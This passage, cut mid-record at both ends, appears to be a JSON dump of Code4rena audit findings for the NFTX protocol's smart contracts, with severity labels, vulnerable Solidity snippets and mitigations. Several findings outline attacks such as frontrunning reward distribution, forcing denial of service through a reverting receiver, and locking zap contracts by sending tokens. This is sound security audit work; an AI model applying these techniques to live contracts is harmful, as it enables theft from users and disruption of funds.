"2021-12-nftx-findings", "body": "Staking Zap approves wrong LP token"}, {"title": "Low-level call return value not checked", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/140", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cmichel # Vulnerability details The `NFTXStakingZap.addLiquidity721ETHTo` function performs a low-level `.call` in `payable(to).call{value: msg.value-amountEth}` but does not check the return value if the call succeeded. ## Impact If the call fails, the refunds did not succeed and the caller will lose all refunds of `msg.value - amountEth`. ## Recommended Mitigation Steps Revert the entire transaction if the refund call fails by checking that the `success` return value of the `payable(to).call(...)` returns `true`. "}, {"title": "Zaps should verify paths", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/137", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Zaps should verify paths"}, {"title": "Rewards can be stolen", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cmichel # Vulnerability details The `NFTXInventoryStaking` contract distributes new rewards to all previous stakers when the owner calls the `receiveRewards` function. This allows an attacker to frontrun this `receiveRewards` transaction when they see it in the mem pool with a `deposit` function. The attacker will receive the rewards pro-rata to their deposits. The deposit will be locked for 2 seconds only (`DEFAULT_LOCKTIME`) after which the depositor can withdraw their initial deposit & the rewards again for a profit. The rewards can be gamed this way and one does not actually have to _stake_, only be in the staking contract at the time of reward distribution for 2 seconds. The rest of the time they can be used for other purposes. ## Recommended Mitigation Steps Distribute the rewards equally over time to the stakers instead of in a single chunk on each `receiveRewards` call. This is more of a \"streaming rewards\" approach. "}, {"title": "Same module can be added several times", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/135", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Same module can be added several times"}, {"title": "Race condition in approve() \u6536\u4ef6\u7bb1", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Race condition in approve() \u6536\u4ef6\u7bb1"}, {"title": " Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": " Use `calldata` instead of `memory` for function parameters"}, {"title": "Use a constant instead of block.timestamp for the deadline", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Use a constant instead of block.timestamp for the deadline"}, {"title": "After Solidity 0.8.1, The Inline Assembly Contract Check Can Be replaced with the new function", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "After Solidity 0.8.1, The Inline Assembly Contract Check Can Be replaced with the new function"}, {"title": "Weak nonce usage", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/126", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-nftx-findings", "body": "Weak nonce usage"}, {"title": "Internal functions names should start with underscore", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/124", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact Multiple internal functions do not have a name that starts with an underscore. The lack of clarity over the functions visibility could lead to misuse of these functions. ## Proof of Concept Both the NFTXMarketplaceZap.sol and NFTXStakingZap.sol contracts have three internal functions names without underscores: approveERC721 in NFTXMarketplaceZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L574 approveERC721 in NFTXStakingZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L434 pairFor in NFTXMarketplaceZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L593 pairFor in NFTXStakingZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L453 sortTokens in NFTXMarketplaceZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L604 sortTokens in NFTXStakingZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L464 ## Tools Used Manual review ## Recommended Mitigation Steps Rename internal functions following best practices to clarify function visibility "}, {"title": "Local variables shadowing", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/123", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact If two variables with the same name exist in a function, but one is imported from another contract while the other is created locally, it is unclear which value is being used or should be used. Avoiding variable name collisions avoids confusion and the risks of using the wrong variable. https://swcregistry.io/docs/SWC-119 ## Proof of Concept Several instance of this issue exist. 1. mintAndSell1155() function in NFTXMarketplaceZap.sol has `uint256[] memory amounts` as an input parameter and later it is redeclared in the function https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L368,L376 2. pauseFeeDistribution() function in NFTXSimpleFeeDistributor.sol uses a pause return bool which shadows PausableUpgradeable.pause https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L140 3. transferFromERC721() function in NFTXStakingZap.sol declares an `address owner` which shadows Ownable.owner(): https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L422 4. transferFromERC721() function in NFTXMarketplaceZap.sol declares an `address owner` which shadows Ownable.owner(): https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L562 ## Tools Used Slither, shadowing-local detector: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing ## Recommended Mitigation Steps Rename local variables to avoid shadowing. For instance, add an underscore in front of the name of local variables. "}, {"title": "Missing address(0) checks", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/122", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Missing address(0) checks"}, {"title": "Return variable can remain unassigned in _sendForReceiver", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `_sendForReceiver()` function only sets a return function in the \"if\" code block, not the \"else\" case. If the \"else\" case is true, no value is returned. The result of this oversight is that the `_sendForReceiver()` function called from the `distribute()` function could sucessfully enter its `else` block if a receiver has `isContract` set to False and successfully transfer the `amountToSend` value. The `ditribute()` function will then have `leftover > 0` and send `currentTokenBalance` to the treasury. This issue is partially due to [Solidity using implicit returns](https://github.com/ethereum/solidity/issues/2951), so if no bool value is explicitly returned, the default bool value of False will be returned. This problem currently occurs for any receiver with `isContract` set to False. The `_addReceiver` function allows for `isContract` to be set to False, so such a condition should not result in tokens being sent to the treasury as though it was an emergency scenario. ## Proof of Concept The `else` block is missing a return value https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L167-L169 ## Tools Used VS Code \"Solidity Visual Developer\" extension ## Recommended Mitigation Steps Verify that functions with a return value do actually return a value in all cases. Adding the line `return true;` can be added to the end of the `else` block as one way to resolve this. Alternatively, if `isContract` should never be set to False, the code should be designed to prevent a receiver from being added with this value. "}, {"title": "Refactor `distribute()` logic", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Refactor `distribute()` logic"}, {"title": "Store totalSupply() in variable", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Store totalSupply() in variable"}, {"title": "provideInventory1155 assumes tokenIds.length == amounts.length", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The `provideInventory1155()` function in contracts/solidity/NFTXStakingZap.sol contains a for loop that uses tokenIds.length to loop through the amounts array. However, if these two arrays are not the same length, the loop with trigger an error. The error could be triggered after many operations already occur, so checking that these two lengths are equal first could save gas. ## Proof of Concept The `provideInventory1155()` function contracts/solidity/NFTXStakingZap.sol: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L201 ## Recommended Mitigation Steps There are two main options to reducing the gas spend in an error condition: 1. Add the following line as the first line of the `provideInventory1155()` function: `require(tokenIds.length == amounts.length)` 2. In the for loop within the `provideInventory1155()` function, replace `i < tokenIds.length` with `i < amounts.length;` "}, {"title": "Incorrect contract referenced in test", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/116", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The file contracts/solidity/testing/NFTXFeeDistributor2.sol references the old NFTXFeeDistributor.sol and instead should reference the new NFTXSimpleFeeDistributor.sol ## Proof of Concept The import and contract inheritance of contracts/solidity/testing/NFTXFeeDistributor2.sol ## Tools Used `npx hardhat test` fails due to this issue because the ../NFTXFeeDistributor.sol imported file is not found ## Recommended Mitigation Steps Reference the new NFTXSimpleFeeDistributor.sol and not NFTXFeeDistributor.sol in the import and contract inheritance "}, {"title": "NFTXInventoryStaking._deployXToken create2 deploy result isn't zero checked", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/115", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle hyh # Vulnerability details ## Impact deployXTokenForVault call will not revert on deploy failure. ## Proof of Concept NFTXInventoryStaking._deployXToken is called by deployXTokenForVault: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L64 _deployXToken uses deploy generated address without check: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXInventoryStaking.sol#L160 ## Recommended Mitigation Steps Require non zero deployedXToken address before calling __XToken_init. "}, {"title": "NFTXVaultUpgradeable.mintTo and swapTo do not check for user supplied arrays length", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/111", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle hyh # Vulnerability details # Impact On calling with arrays of different lengths various malfunctions are possible as the arrays are used as given. mintTo and swapTo outcome will not be as expected by a caller. ## Proof of Concept The arrays are used whenever Vault is ERC1155, i.e. when is1155 is true. swap -> swapTo uses the arrays as given: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXVaultUpgradeable.sol#L258 mint -> mintTo, arrays are passed on without checks to receiveNFTs: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXVaultUpgradeable.sol#L190 receiveNFTs uses the arrays in a loop, assuming equal lengths without a check: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXVaultUpgradeable.sol#L389 ## Recommended Mitigation Steps Add `require(tokenIds.length == amounts.length, \"tokenIds and amounts length should match\")` check in the beginning of public mintTo and swapTo endpoints. "}, {"title": "Move kitties/punk addresses to constants", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/110", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Move kitties/punk addresses to constants"}, {"title": "Misleading comments", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/109", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact `XTokenUpgradeable.sol` contains many comments regarding SushiBar. It looks like the comments have been copy-pasted from another contract, and may be deceiving for a reader ## Proof of Concept [https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/token/XTokenUpgradeable.sol#L14](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/token/XTokenUpgradeable.sol#L14) ## Tools Used ## Recommended Mitigation Steps Remove said comments "}, {"title": "Unfair fee distribution", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact Detailed description of the impact of this finding. Fee distribution algorithm in `NFTXSimpleFeeDistributor.sol` can led to unfair distribution of fees among receivers. The `_sendForReceiver` function returns `success = true` only when the call to receiver' `receiveRewards` is successful and the whole amount is transfered to the receiver. Otherwise, the entire fee is moved up to the next receiver, and finally to the treasury. If a badly implemented receiver leaves a part of the fee (even 1 wei) to the fee distributor, the operation is considered unsuccessful and the entire amount of the fee is moved up to the next receiver. This could lead to the situation where one of the late receivers is unable to receive any fee at all, since some previous receiver has received more than it should have. ## Proof of Concept [https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L166](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L166) [https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L69](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L69) ## Tools Used Editor ## Recommended Mitigation Steps `_sendForReceiver` should return a tuple: `(bool success, uint256 amountLeft)`. Then `amountLeft` should be used by `distribute` for the `leftover` variable "}, {"title": "A vault can be locked from MarketplaceZap and StakingZap", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/107", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact Any user that owns a vToken of a particular vault can lock the functionalities of `NFTXMarketplaceZap.sol` and `NFTXStakingZap.sol` for everyone. Every operation performed by the marketplace, that deals with vToken minting, performs this check: ```jsx require(balance == IERC20Upgradeable(vault).balanceOf(address(this)), \"Did not receive expected balance\"); ``` A malicious user could transfer any amount > 0 of a vault\u2019vToken to the marketplace (or staking) zap contracts, thus making the vault functionality unavailable for every user on the marketplace ## Proof of Concept [https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L421](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L421) [https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L421](https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L421) ## Tools Used Editor ## Recommended Mitigation Steps Remove this logic from the marketplace and staking zap contracts, and add it to the vaults (if necessary) "}, {"title": "NFTXSimpleFeeDistributor._sendForReceiver doesn't return success if receiver is not a contract", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/105", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle hyh # Vulnerability details # Impact Double spending of fees being distributed will happen in favor of the first fee receivers in the `feeReceivers` list at the expense of the last ones. As `_sendForReceiver` doesn't return success for completed transfer when receiver isn't a contract, the corresponding fee amount is sent out twice, to the current and to the next fee receiver in the list. This will lead to double payments for those receivers who happen to be next in the line right after EOAs, and missed payments for the receivers positioned closer to the end of the list as the funds available are going to be already depleted when their turn comes. ## Proof of Concept `distribute` use `_sendForReceiver` to transfer current vault balance across `feeReceivers`: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L67 `_sendForReceiver` returns a boolean that is used to move current distribution amount to the next receiver when last transfer failed. When `_receiver.isContract` is `false` nothing is returned, while `safeTransfer` is done: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L168 This way `_sendForReceiver` will indicate that transfer is failed and leftover amount to be added to the next transfer, i.e. the `amountToSend` will be spent twice: https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L64 ## Recommended Mitigation Steps Now: ``` function _sendForReceiver(FeeReceiver memory _receiver, uint256 _vaultId, address _vault, uint256 amountToSend) internal virtual returns (bool) { if (_receiver.isContract) { ... } else { IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); } } ``` To be: ``` function _sendForReceiver(FeeReceiver memory _receiver, uint256 _vaultId, address _vault, uint256 amountToSend) internal virtual returns (bool) { if (_receiver.isContract) { ... } else { IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); return true; } } ``` "}, {"title": "Remove unnecessary variables can make the code simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Remove unnecessary variables can make the code simpler and save some gas"}, {"title": "Use immutable variables can save gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Use immutable variables can save gas"}, {"title": "Using constants instead of local variables can save some gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Using constants instead of local variables can save some gas"}, {"title": "`transfer()` is not recommended for sending ETH", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle WatchPug # Vulnerability details Since the introduction of `transfer()`, it has typically been recommended by the security community because it helps guard against reentrancy attacks. This guidance made sense under the assumption that gas costs wouldn\u2019t change. It's now recommended that transfer() and send() be avoided, as gas costs can and will change and reentrancy guard is more commonly used. Any smart contract that uses `transfer()` is taking a hard dependency on gas costs by forwarding a fixed amount of gas: 2300. It's recommended to stop using `transfer()` and switch to using `call()` instead. https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXV1Buyout.sol#L44-L44 ```solidity payable(msg.sender).transfer(amount); ``` Can be changed to: ```solidity (bool success, ) = msg.sender.call{value: amount}(\"\"); require(success, \"ETH transfer failed\"); ``` "}, {"title": "`NFTXSimpleFeeDistributor#__SimpleFeeDistributor__init__()` Missing `__ReentrancyGuard_init()`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/90", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L15-L15 ```solidity=15 contract NFTXSimpleFeeDistributor is INFTXSimpleFeeDistributor, ReentrancyGuardUpgradeable, PausableUpgradeable { ``` https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L41-L47 ```solidity=41 function __SimpleFeeDistributor__init__(address _lpStaking, address _treasury) public override initializer { __Pausable_init(); setTreasuryAddress(_treasury); setLPStakingAddress(_lpStaking); _addReceiver(0.8 ether, lpStaking, true); } ``` For the upgradeable variants of OpenZipplin contracts, they should be initialized by calling the `__***_init()` function in the initializer function. Therefore, `__SimpleFeeDistributor__init__()` should call `__ReentrancyGuard_init()` at L42. "}, {"title": "Avoid unnecessary external call can save gas", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Avoid unnecessary external call can save gas"}, {"title": "Outdated compiler version", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/88", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Outdated compiler version"}, {"title": "Unchecked return value for `ERC20.approve` call", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/87", "labels": ["bug", "duplicate", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "Unchecked return value for `ERC20.approve` call"}, {"title": "Constants are not explicitly declared", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Constants are not explicitly declared"}, {"title": "Timelock functionality for `xToken` is applied on all existing balance", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/80", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Timelock functionality for `xToken` is applied on all existing balance"}, {"title": "Rewards Cannot Be Claimed If LP Tokens Are Unstaked", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `TimelockRewardDistributionTokenImpl` calculates the accumulative reward according to the following function: ``` function accumulativeRewardOf(address _owner) public view returns(uint256) { return magnifiedRewardPerShare.mul(balanceOf(_owner)).toInt256() .add(magnifiedRewardCorrections[_owner]).toUint256Safe() / magnitude; } ``` The calculation takes into consideration the LP token balance of token holders. Hence, if the token holder has called `emergencyExit` or `withdraw` in `NFTXLPStaking`, the LP tokens are removed from the staking contract without claiming rewards prior to this action. Therefore, in order for users to claim their fair share of rewards they must restake LP tokens and call `claimRewards`. Similarly, `_transfer` in `TimelockRewardDistributionTokenImpl` also does not force the `from` account to claim rewards first. ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol#L195-L198 ``` function withdraw(uint256 vaultId, uint256 amount) external { StakingPool memory pool = vaultStakingInfo[vaultId]; _withdraw(pool, amount, msg.sender); } ``` https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXLPStaking.sol#L157-L162 ``` function emergencyExit(address _stakingToken, address _rewardToken) external { StakingPool memory pool = StakingPool(_stakingToken, _rewardToken); TimelockRewardDistributionTokenImpl dist = _rewardDistributionTokenAddr(pool); require(isContract(address(dist)), \"Not a pool\"); _withdraw(pool, dist.balanceOf(msg.sender), msg.sender); } ``` https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/token/TimelockRewardDistributionTokenImpl.sol#L199-L206 ``` function _transfer(address from, address to, uint256 value) internal override { require(block.timestamp > timelock[from], \"User locked\"); super._transfer(from, to, value); int256 _magCorrection = magnifiedRewardPerShare.mul(value).toInt256(); magnifiedRewardCorrections[from] = magnifiedRewardCorrections[from].add(_magCorrection); magnifiedRewardCorrections[to] = magnifiedRewardCorrections[to].sub(_magCorrection); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider removing functions in `NFTXLPStaking` that do not claim token rewards before unstaking LP tokens or alternatively add code to the affected functions such that rewards are claimed before withdrawing LP tokens. "}, {"title": "Malicious receiver can make distribute function denial of service", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cccz # Vulnerability details ## Impact In the NFTXSimpleFeeDistributor.sol contract, the distribute function calls the _sendForReceiver function to distribute the fee ``` function distribute(uint256 vaultId) external override virtual nonReentrant { require(nftxVaultFactory != address(0)); address _vault = INFTXVaultFactory(nftxVaultFactory).vault(vaultId); uint256 tokenBalance = IERC20Upgradeable(_vault).balanceOf(address(this)); if (distributionPaused || allocTotal == 0) { IERC20Upgradeable(_vault).safeTransfer(treasury, tokenBalance); return; } uint256 length = feeReceivers.length; uint256 leftover; for (uint256 i = 0; i currentTokenBalance? currentTokenBalance: amountToSend; bool complete = _sendForReceiver(_feeReceiver, vaultId, _vault, amountToSend); if (!complete) { leftover = amountToSend; } else { leftover = 0; } } ``` In the _sendForReceiver function, when the _receiver is a contract, the receiver's receiveRewards function will be called. If the receiver is malicious, it can execute revert() in the receiveRewards function, resulting in DOS. ``` function _sendForReceiver(FeeReceiver memory _receiver, uint256 _vaultId, address _vault, uint256 amountToSend) internal virtual returns (bool) { if (_receiver.isContract) { IERC20Upgradeable(_vault).approve(_receiver.receiver, amountToSend); // If the receive is not properly processed, send it to the treasury instead. bytes memory payload = abi.encodeWithSelector(INFTXLPStaking.receiveRewards.selector, _vaultId, amountToSend); (bool success,) = address(_receiver.receiver).call(payload); // If the allowance has not been spent, it means we can pass it forward to next. return success && IERC20Upgradeable(_vault).allowance(address(this), _receiver.receiver) == 0; } else { IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); } } ``` ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L157-L166 ## Tools Used Manual analysis ## Recommended Mitigation Steps The contract can store the fee sent to the receiver in a state variable, and then the receiver can take it out by calling a function. "}, {"title": "The return value of the _sendForReceiver function is not set, causing the receiver to receive more fees", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/67", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle cccz # Vulnerability details ## Impact In the NFTXSimpleFeeDistributor.sol contract, the distribute function is used to distribute the fee, and the distribute function judges whether the fee is sent successfully according to the return value of the _sendForReceiver function. ``` function distribute(uint256 vaultId) external override virtual nonReentrant { require(nftxVaultFactory != address(0)); address _vault = INFTXVaultFactory(nftxVaultFactory).vault(vaultId); uint256 tokenBalance = IERC20Upgradeable(_vault).balanceOf(address(this)); if (distributionPaused || allocTotal == 0) { IERC20Upgradeable(_vault).safeTransfer(treasury, tokenBalance); return; } uint256 length = feeReceivers.length; uint256 leftover; for (uint256 i = 0; i currentTokenBalance? currentTokenBalance: amountToSend; bool complete = _sendForReceiver(_feeReceiver, vaultId, _vault, amountToSend); if (!complete) { leftover = amountToSend; } else { leftover = 0; } } ``` In the _sendForReceiver function, when _receiver is not a contract, no value is returned. By default, this will return false. This will make the distribute function think that the fee sending has failed, and will send more fees next time. ``` function _sendForReceiver(FeeReceiver memory _receiver, uint256 _vaultId, address _vault, uint256 amountToSend) internal virtual returns (bool) { if (_receiver.isContract) { IERC20Upgradeable(_vault).approve(_receiver.receiver, amountToSend); // If the receive is not properly processed, send it to the treasury instead. bytes memory payload = abi.encodeWithSelector(INFTXLPStaking.receiveRewards.selector, _vaultId, amountToSend); (bool success,) = address(_receiver.receiver).call(payload); // If the allowance has not been spent, it means we can pass it forward to next. return success && IERC20Upgradeable(_vault).allowance(address(this), _receiver.receiver) == 0; } else { IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); } } ``` ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L157-L168 https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L49-L67 ## Tools Used Manual analysis ## Recommended Mitigation Steps ``` function _sendForReceiver(FeeReceiver memory _receiver, uint256 _vaultId, address _vault, uint256 amountToSend) internal virtual returns (bool) { if (_receiver.isContract) { IERC20Upgradeable(_vault).approve(_receiver.receiver, amountToSend); // If the receive is not properly processed, send it to the treasury instead. bytes memory payload = abi.encodeWithSelector(INFTXLPStaking.receiveRewards.selector, _vaultId, amountToSend); (bool success, ) = 